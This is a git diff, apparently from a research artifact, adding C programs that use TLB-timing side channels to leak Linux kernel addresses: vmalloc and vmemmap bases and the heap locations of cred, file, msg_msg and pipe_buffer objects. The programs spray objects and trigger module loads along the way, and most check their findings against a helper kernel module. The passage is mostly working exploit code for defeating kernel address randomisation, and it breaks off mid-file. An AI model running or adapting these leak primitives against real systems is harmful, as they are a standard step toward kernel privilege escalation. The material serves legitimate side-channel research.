+} + +DualThreshold meta_threshold_detection(size_t addr_mapped, size_t addr_unmapped) +{ + size_t threshold_hist_lower[HIST_SIZE] = {0}; + size_t threshold_hist_upper[HIST_SIZE] = {0}; + printf("Detecting mapped/unmapped threshold..\n"); + for (unsigned i = 0; i < 1000; i++) { + DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped); + threshold_hist_lower[t.lower]++; + threshold_hist_upper[t.upper]++; + } + + unsigned threshold_l = 0; + unsigned threshold_l_i = 0; + unsigned threshold_u = 0; + unsigned threshold_u_i = 0; + for (size_t i = 0; i < HIST_SIZE; i += 2) { + if (threshold_hist_lower[i] > threshold_l) { + threshold_l = threshold_hist_lower[i]; + threshold_l_i = i; + } + if (threshold_hist_upper[i] > threshold_u) { + threshold_u = threshold_hist_upper[i]; + threshold_u_i = i; + } + } + for (size_t i = 20; i < HIST_SIZE; i += 2) { + if (i == threshold_l_i) + printf("% 4zd: \033[31m% 4zd\033[0m % 4zd\n", i, threshold_hist_lower[i], threshold_hist_upper[i]); + else if (i == threshold_u_i) + printf("% 4zd: % 4zd \033[31m% 4zd\033[0m\n", i, threshold_hist_lower[i], threshold_hist_upper[i]); + else + printf("% 4zd: % 4zd % 4zd\n", i, threshold_hist_lower[i], threshold_hist_upper[i]); + } + + printf("Median Thresholds: %d %d\n", threshold_l_i, threshold_u_i); + + DualThreshold t = {threshold_l_i, threshold_u_i}; + + return t; +} + +int main(int argc, char **argv) +{ + pin_to_core(2); + lkm_init(); + + size_t addr_large; + if (argc == 2) { + addr_large = strtoull(argv[1], NULL, 16); + } else { + lkm_dpm_leak((size_t)&addr_large); + addr_large += (1 << 12); + } + printf("stlb set: %lx: %lu\n", addr_large, STLB_SET_4K(addr_large)); + + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + init_tlb_flush(); + + size_t stack; + lkm_stack_leak((size_t)&stack); + + meta_threshold_detection(stack + (3 << 12), stack + (4 << 12)); + + printf("flush set range: %p - %p\n", flush_set, flush_set + FLUSH_SET_SIZE); + + printf("[*] current->stack %016zx\n", stack); + printf("[*] 2MB page %016zx\n", addr_large); + printf("=======================================\n"); + print_hist(stack + (3 << 12), addr_large); +} \ No newline at end of file diff --git a/artifacts/generic/vmalloc_leak.c b/artifacts/generic/vmalloc_leak.c new file mode 100644 index 000000000..ef9d21a8c --- /dev/null +++ b/artifacts/generic/vmalloc_leak.c @@ -0,0 +1,39 @@ +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif + +#define TRIES 30 + +int main(void) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + /* warmup */ +#ifdef VALIDATE + size_t vmalloc_base; + lkm_init(); + lkm_vmalloc_base_leak((size_t)&vmalloc_base); + init_tlb_flush(); + // size_t stack; + // lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page + // DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100); + // THRESHOLD = t.lower; +#endif + + for (volatile size_t i = 0; i < (1ULL << 30); ++i); + /* leaking */ + size_t found = 0; + size_t addr = vmalloc_leak_found(TRIES, &found); + printf("%016zx\n", addr); +#ifdef VALIDATE + if (vmalloc_base != addr) { + printf("[!] vmalloc_base wrong found %016zx to %016zx\n", addr, vmalloc_base); + return 0; + } +#endif + return found ? 1 : -1; +} \ No newline at end of file diff --git a/artifacts/generic/vmemmap_leak.c b/artifacts/generic/vmemmap_leak.c new file mode 100644 index 000000000..be8bd3ce2 --- /dev/null +++ b/artifacts/generic/vmemmap_leak.c @@ -0,0 +1,35 @@ +#include "coarse_grain_leak.h" +// #define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif + +#define TRIES 30 + +int main(void) +{ + /* warmup */ +#ifdef VALIDATE + size_t vmemmap_base = 0; + lkm_init(); + lkm_vmemmap_leak((size_t)&vmemmap_base); + init_tlb_flush(); + // size_t stack; + // lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page + // DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100); + // THRESHOLD = t.lower; +#endif + + for (volatile size_t i = 0; i < (1ULL << 30); ++i); + /* leaking */ + size_t found = 0; + size_t addr = vmemmap_leak_found(TRIES, &found); + printf("%016zx\n", addr); +#ifdef VALIDATE + if (vmemmap_base != addr) { + printf("[!] vmemmap base wrong found %016zx to vmemmap_base %016zx\n", addr, vmemmap_base); + return 0; + } +#endif + return found ? 1 : -1; +} \ No newline at end of file diff --git a/artifacts/heap/Makefile b/artifacts/heap/Makefile new file mode 100644 index 000000000..3ea64736e --- /dev/null +++ b/artifacts/heap/Makefile @@ -0,0 +1,24 @@ +CC := gcc + +SOURCES := $(wildcard *.c) + +TARGETS := $(SOURCES:.c=.elf) + +CFLAGS += -g +CFLAGS += -O2 +CFLAGS += -static +CFLAGS += -Wall +CFLAGS += -Wextra +CFLAGS += -Wno-int-to-pointer-cast +CFLAGS += -Wno-pointer-to-int-cast +CFLAGS += -D_FILE_OFFSET_BITS=64 +CFLAGS += -I../include +CFLAGS += -pthread + +all: $(TARGETS) + +%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h + $(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@ + +clean: + rm -f *.elf diff --git a/artifacts/heap/cred_leak.c b/artifacts/heap/cred_leak.c new file mode 100644 index 000000000..974c0550d --- /dev/null +++ b/artifacts/heap/cred_leak.c @@ -0,0 +1,214 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#include "ulkm.h" +#include +#include +#include +#include +#include +#include + +#define OBJ_PER_SLAB 42 +#define CREDS_SPRAY (OBJ_PER_SLAB*50) + +#define TRIES 100 + +char buffer[1<<12]; +void get_times(size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) +{ + size_t times[tries]; + size_t times_n2[tries]; + size_t times_n4[tries]; + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+2*(1<<12)); + flush_tlb_targeted_4k(addr+2*(1<<12)); + getuid(); + times[i] = onlyreload(addr); + times_n2[i] = onlyreload(addr+2*(1<<12)); + times_n4[i] = onlyreload(addr+4*(1<<12)); + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n2, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + *time = times[tries/4]; + *time_n2 = times_n2[tries/4]; + *time_n4 = times_n4[tries/4]; +} +int is_2mb(size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); +} +int hit_flush(size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); +} + +struct found_data { + size_t found_addresses[32]; + size_t found_addresses_index; + size_t cred; +}; +struct found_data *data; +volatile size_t *state; +pthread_t tids[CREDS_SPRAY]; +size_t creds[CREDS_SPRAY]; + +void alloc_cred(void) +{ + int ret = unshare(CLONE_NEWUSER); + if (ret < 0) { + perror("unshare(CLONE_NEWUSER)"); + exit(-1); + } + + char path[0x100]; + snprintf(path, sizeof(path), "/proc/%d/ns/user", getpid()); + int fd = open(path, O_RDONLY); + if (fd < 0) { + perror("open(/proc/%d/ns/user)"); + exit(-1); + } +} + +void spray_cred(void) +{ + alloc_cred(); + sleep(-1); +} + +int main(void) +{ + printf("[*] start\n"); + pin_to_core(0); + lkm_init(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + data = mmap(0, sizeof(struct found_data)*4, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (data == MAP_FAILED) { + perror("mmap(found_data)"); + exit(-1); + } + + state = mmap(0, 4096, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (state == MAP_FAILED) { + perror("mmap(found_data)"); + exit(-1); + } + *state = 3; + + init_tlb_flush(); + get_total_memory(); + + for (volatile size_t i = 0; i < (1ULL << 30); ++i); + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + pin_to_core(15); + + printf("[*] spray creds\n"); + for (size_t i = 0; i < CREDS_SPRAY; ++i) + if (fork() == 0) + spray_cred(); + + size_t index = 0; + if (fork() == 0) { + for (size_t i = 0; i < OBJ_PER_SLAB; ++i) + if (fork() == 0) + sleep(-1); + + index = (fork() == 0)*2; + index += (fork() == 0); + sched_yield(); + sched_yield(); + alloc_cred(); + pin_to_core(index); + + size_t cred; + lkm_cred_leak((size_t)&cred); + printf("[*] cred %zd %016zx\n", index, cred); + data[index].cred = cred; + if (index == 0) { + size_t is_4kb = lkm_is_4kb(cred); + printf("[*] %016zx is %s page\n", cred, is_4kb ? "4kB" : "2MB"); + } + + while (*state != index) sleep(1); + printf("[*] redo %zd\n", index); + + size_t found_addresses[32] = {0}; + size_t found_addresses_index = 0; + + if (index == 3) { + + for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + + if (is_2mb(addr, 40)) + continue; + for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { + size_t cur_addr = addr + i; + size_t found_0 = hit_flush(cur_addr, TRIES); + if (!found_0) + continue; + found_addresses[found_addresses_index++] = cur_addr; + printf("[+] %zd found addr %016zx\n", index, cur_addr); + } + } + } else { + for (size_t i = 0; i < data[index+1].found_addresses_index; ++i) { + for (size_t j = 0; j < 2; ++j) { + size_t addr = (data[index+1].found_addresses[i] & ~((1<<13)-1)) + j*(1<<12); + printf("[*] addr %016zx\n", addr); + size_t found_0 = hit_flush(addr, TRIES); + if (!found_0) + continue; + found_addresses[found_addresses_index++] = addr; + printf("[+] %zd found addr %016zx\n", index, addr); + } + } + } + + memcpy(data[index].found_addresses, found_addresses, sizeof(found_addresses)); + data[index].found_addresses_index = found_addresses_index; + + *state -= 1; + exit(0); + } else { + wait(0); + } + + size_t found_addresses[32] = {0}; + size_t found_addresses_index = 0; + if (data[0].found_addresses_index == 2 && + (data[0].found_addresses[0] & ~((1<<13)-1)) == (data[0].found_addresses[1] & ~((1<<13)-1))) { + found_addresses[0] = data[0].found_addresses[0] & ~((1<<13)-1); + found_addresses_index = 1; + } else { + memcpy(found_addresses, data[0].found_addresses, sizeof(found_addresses)); + found_addresses_index = data[0].found_addresses_index; + } + + if (found_addresses_index == 0) + printf("[!] non found -> retry\n"); + else if (found_addresses_index != 1) + printf("[!] multiple addresses -> retry\n"); + else if ((found_addresses[0] & ~((1<<13)-1)) == (data[0].cred & ~((1<<13)-1))) + printf("[+] success\n"); + else + printf("[!] fail\n"); + signal(SIGQUIT, SIG_IGN); + kill(0, SIGQUIT); +} \ No newline at end of file diff --git a/artifacts/heap/file_leak.c b/artifacts/heap/file_leak.c new file mode 100644 index 000000000..8dc8a1c27 --- /dev/null +++ b/artifacts/heap/file_leak.c @@ -0,0 +1,259 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define DEBUG + +#define OBJS_PER_SLAB 32 +#define FILES_SPRAY (OBJS_PER_SLAB*200) +#define FILES (OBJS_PER_SLAB*10) + +#define TRIES 40 + +char buffer[1<<12]; +void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) +{ + struct stat buf; + size_t times[tries]; + size_t times_n2[tries]; + size_t times_n4[tries]; + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+2*(1<<12)); + flush_tlb_targeted_4k(addr+2*(1<<12)); + fstat(fd, &buf); + times[i] = onlyreload(addr); + times_n2[i] = onlyreload(addr+2*(1<<12)); + times_n4[i] = onlyreload(addr+4*(1<<12)); + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n2, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + *time = times[tries/4]; + *time_n2 = times_n2[tries/4]; + *time_n4 = times_n4[tries/4]; +} +int is_2mb(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); +} +int hit_flush(int fd, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(fd, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); +} + +int main(__attribute__((unused))int argc, char **argv) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + size_t time; + size_t prev_time = -1; + size_t last_slab = -1; + for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i) + open(argv[0], O_RDONLY); + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i) { + size_t t0 = rdtsc_begin(); + int ret = open(argv[0], O_RDONLY); + size_t t1 = rdtsc_end(); + if (ret < 0) { + perror("open(argv[0])"); + exit(-1); + } + time = t1-t0; + if (time > (prev_time+1500)) { + if (last_slab == (size_t)-1) + last_slab = i; + else if (i - last_slab == OBJS_PER_SLAB) + break; + else + last_slab = -1; + } + prev_time = time; + } + + int fds[FILES]; + for (size_t i = 0; i < FILES; ++i) { + fds[i] = open(argv[0], O_RDONLY); + if (fds[i] < 0) { + perror("open(argv[0])"); + exit(-1); + } + } + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + __attribute__((unused))size_t found_addresses[32]; + size_t found_addresses_index = 0; + +#ifdef VALIDATE + size_t file_0; + size_t file_1; + size_t file_2; + size_t file_3; + size_t file_4; + size_t file_16; + size_t file_30; + size_t file_ns1; + size_t file_ns2; + lkm_init(); + lkm_file_leak((size_t)&file_0, fds[0]); + printf("[*] file 0 %016zx\n", file_0); + lkm_file_leak((size_t)&file_1, fds[1]); + printf("[*] file 1 %016zx\n", file_1); + lkm_file_leak((size_t)&file_2, fds[2]); + printf("[*] file 2 %016zx\n", file_2); + lkm_file_leak((size_t)&file_3, fds[3]); + printf("[*] file 3 %016zx\n", file_3); + lkm_file_leak((size_t)&file_4, fds[4]); + printf("[*] file 4 %016zx\n", file_4); + lkm_file_leak((size_t)&file_16, fds[16]); + printf("[*] file 16 %016zx\n", file_16); + lkm_file_leak((size_t)&file_30, fds[30]); + printf("[*] file 30 %016zx\n", file_30); + lkm_file_leak((size_t)&file_ns1, fds[OBJS_PER_SLAB]); + printf("[*] file %d %016zx\n", OBJS_PER_SLAB, file_ns1); + lkm_file_leak((size_t)&file_ns2, fds[OBJS_PER_SLAB*2]); + printf("[*] file %d %016zx\n", OBJS_PER_SLAB*2, file_ns2); + + size_t is_4kb = lkm_is_4kb(file_0); + printf("[*] %016zx is %s page\n", file_0, is_4kb ? "4kB" : "2MB"); +#endif + + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + if (is_2mb(fds[0], addr, 40)) + continue; + + for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { + size_t cur_addr = addr + i; + size_t found_0 = hit_flush(fds[0], cur_addr, TRIES); + if (!found_0) + continue; + + size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES); + if (found_ns1) + continue; + size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES); + if (found_ns2) + continue; + size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES); + if (found_ns3) + continue; + size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES); + if (found_ns4) + continue; + + size_t found_1 = hit_flush(fds[1], cur_addr, TRIES) || hit_flush(fds[1], cur_addr ^ 0x1000, TRIES); + if (!found_1) + continue; + size_t found_2 = hit_flush(fds[2], cur_addr, TRIES) || hit_flush(fds[2], cur_addr ^ 0x1000, TRIES); + if (!found_2) + continue; + size_t found_3 = hit_flush(fds[3], cur_addr, TRIES) || hit_flush(fds[3], cur_addr ^ 0x1000, TRIES); + if (!found_3) + continue; + size_t found_4 = hit_flush(fds[4], cur_addr, TRIES) || hit_flush(fds[4], cur_addr ^ 0x1000, TRIES); + if (!found_4) + continue; + size_t found_16 = hit_flush(fds[16], cur_addr, TRIES) || hit_flush(fds[16], cur_addr ^ 0x1000, TRIES); + if (!found_16) + continue; + size_t found_30 = hit_flush(fds[30], cur_addr, TRIES) || hit_flush(fds[30], cur_addr ^ 0x1000, TRIES); + if (!found_30) + continue; + + if (found_addresses_index == 32) { + printf("[?] too much found addresses\n"); + continue; + } + found_addresses[found_addresses_index++] = cur_addr; + printf("[+] found addr %016zx\n", cur_addr); + } + } + if (found_addresses_index == 0) + printf("[!] non found -> retry\n"); + else if (found_addresses_index != 1) + printf("[!] multiple addresses -> retry\n"); +#ifdef VALIDATE + else if ((found_addresses[0] & ~((1<<13)-1)) == (file_0 & ~((1<<13)-1))) + printf("[+] success\n"); + else + printf("[!] fail\n"); +#else + else + printf("[*] found %016zx\n", found_addresses[0]); +#endif +} diff --git a/artifacts/heap/msg_msg_leak.c b/artifacts/heap/msg_msg_leak.c new file mode 100644 index 000000000..e6765b590 --- /dev/null +++ b/artifacts/heap/msg_msg_leak.c @@ -0,0 +1,258 @@ +#include "utils.h" +#include "tlb_flush.h" +#include "msg_msg.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include +#include +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define OBJS_PER_SLAB 32 +#define MSGS (OBJS_PER_SLAB*50) +#define MSG_SPRAYS (OBJS_PER_SLAB*200) +#define MSG_TYPE 0x41 +#define MSG_SIZE (128 - 48) + +int qids_spray[MSG_SPRAYS]; +int qids[MSGS]; + +#define TRIES 40 + +void get_times(int qid, size_t type, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) +{ + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = type; + + size_t times[tries]; + size_t times_n2[tries]; + size_t times_n4[tries]; + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+2*(1<<12)); + flush_tlb_targeted_4k(addr+2*(1<<12)); + get_msg(qid, message, MSG_SIZE, 0, MSG_COPY|IPC_NOWAIT); + times[i] = onlyreload(addr); + times_n2[i] = onlyreload(addr+2*(1<<12)); + times_n4[i] = onlyreload(addr+4*(1<<12)); + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n2, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + *time = times[tries/4]; + *time_n2 = times_n2[tries/4]; + *time_n4 = times_n4[tries/4]; +} +int is_2mb(int qid, size_t type, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(qid, type, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); +} +int hit_flush(int qid, size_t type, size_t addr, size_t tries) +{ + size_t time; + size_t time_n2; + size_t time_n4; + get_times(qid, type, addr, tries, &time, &time_n2, &time_n4); + return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] make queues\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids_spray[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + for (size_t i = 0; i < MSGS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + size_t time; + size_t prev_time = -1; + size_t last_slab = -1; + printf("[*] alloc msg_msg structs\n"); + for (size_t i = 0; i < MSG_SPRAYS/2; ++i) + send_msg(qids_spray[i], message, MSG_SIZE, 0); + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + printf("[*] alloc msg_msg structs\n"); + for (size_t i = MSG_SPRAYS/2; i < MSG_SPRAYS; ++i) { + size_t t0 = rdtsc_begin(); + send_msg(qids_spray[i], message, MSG_SIZE, 0); + size_t t1 = rdtsc_end(); + time = t1-t0; + if (time > (prev_time+1000)) { + if (last_slab == (size_t)-1) + last_slab = i; + else if (i - last_slab == OBJS_PER_SLAB) + break; + else + last_slab = -1; + } + prev_time = time; + } + for (size_t i = 0; i < MSGS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + __attribute__((unused))size_t found_addresses[32]; + size_t found_addresses_index = 0; + +#ifdef VALIDATE + lkm_init(); + size_t msg_msg_0; + size_t msg_msg_1; + size_t msg_msg_2; + size_t msg_msg_3; + size_t msg_msg_29; + size_t msg_msg_30; + size_t msg_msg_128; + lkm_msg_msg_leak((size_t)&msg_msg_0, qids[0], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_1, qids[1], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_2, qids[2], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_3, qids[3], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_29, qids[29], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_30, qids[30], MSG_TYPE); + lkm_msg_msg_leak((size_t)&msg_msg_128, qids[128], MSG_TYPE); + printf("[*] leak msg_msg struct 0 %016zx\n", msg_msg_0); + printf("[*] leak msg_msg struct 1 %016zx\n", msg_msg_1); + printf("[*] leak msg_msg struct 2 %016zx\n", msg_msg_2); + printf("[*] leak msg_msg struct 3 %016zx\n", msg_msg_3); + printf("[*] leak msg_msg struct 29 %016zx\n", msg_msg_29); + printf("[*] leak msg_msg struct 30 %016zx\n", msg_msg_30); + printf("[*] leak msg_msg struct 128 %016zx\n", msg_msg_128); + + size_t is_4kb = lkm_is_4kb(msg_msg_0); + printf("[*] %016zx is %s page\n", msg_msg_0, is_4kb ? "4kB" : "2MB"); +#endif + + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + + if (is_2mb(qids[0], MSG_TYPE, addr, 40)) + continue; + for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { + size_t cur_addr = addr + i; + size_t found_0 = hit_flush(qids[0], MSG_TYPE, cur_addr, TRIES); + if (!found_0) + continue; + + size_t found_32 = hit_flush(qids[32], MSG_TYPE, cur_addr, TRIES); + if (found_32) + continue; + size_t found_64 = hit_flush(qids[64], MSG_TYPE, cur_addr, TRIES); + if (found_64) + continue; + size_t found_96 = hit_flush(qids[96], MSG_TYPE, cur_addr, TRIES); + if (found_96) + continue; + size_t found_128 = hit_flush(qids[128], MSG_TYPE, cur_addr, TRIES); + if (found_128) + continue; + size_t found_160 = hit_flush(qids[160], MSG_TYPE, cur_addr, TRIES); + if (found_160) + continue; + + size_t found_1 = hit_flush(qids[1], MSG_TYPE, cur_addr, TRIES); + if (!found_1) + continue; + size_t found_2 = hit_flush(qids[2], MSG_TYPE, cur_addr, TRIES); + if (!found_2) + continue; + size_t found_3 = hit_flush(qids[3], MSG_TYPE, cur_addr, TRIES); + if (!found_3) + continue; + size_t found_16 = hit_flush(qids[16], MSG_TYPE, cur_addr, TRIES); + if (!found_16) + continue; + size_t found_29 = hit_flush(qids[29], MSG_TYPE, cur_addr, TRIES); + if (!found_29) + continue; + size_t found_30 = hit_flush(qids[30], MSG_TYPE, cur_addr, TRIES); + if (!found_30) + continue; + + found_addresses[found_addresses_index++] = cur_addr; + printf("[+] found addr %016zx\n", cur_addr); + } + } + + for (size_t i = 0; i < MSGS; ++i) + cleanup_queue(qids[i]); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids_spray[i]); + if (found_addresses_index == 0) + printf("[!] non found -> retry\n"); + else if (found_addresses_index != 1) + printf("[!] multiple addresses -> retry\n"); +#ifdef VALIDATE + else if (found_addresses[0] == (msg_msg_0 & ~((1<<12)-1))) + printf("[+] success\n"); + else + printf("[!] fail\n"); +#else + else + printf("[*] found %016zx\n", found_addresses[0]); +#endif +} \ No newline at end of file diff --git a/artifacts/heap/pipe_buffer_leak.c b/artifacts/heap/pipe_buffer_leak.c new file mode 100644 index 000000000..b22de26c2 --- /dev/null +++ b/artifacts/heap/pipe_buffer_leak.c @@ -0,0 +1,263 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "pipe_buffer.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include +#include +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define OBJS_PER_SLAB 42 +#define PIPE_BUFFER_SPRAY (OBJS_PER_SLAB*200) +#define PIPE_BUFFER (OBJS_PER_SLAB*10) + +#define TRIES 40 + +#define PIPE_SIZE 40 +#define PIPE_CNT 16 +int pipes_spray[PIPE_BUFFER_SPRAY][2]; +int pipes[PIPE_BUFFER][2]; +char buffer[0x1000]; + +void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) +{ + size_t times[tries]; + size_t times_n2[tries]; + size_t times_n4[tries]; + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+2*(1<<12)); + flush_tlb_targeted_4k(addr+2*(1<<12)); + __attribute__((unused))int __ret = read(fd, (void *)0xdeadbeef000, 8); + times[i] = onlyreload(addr); + times_n2[i] = 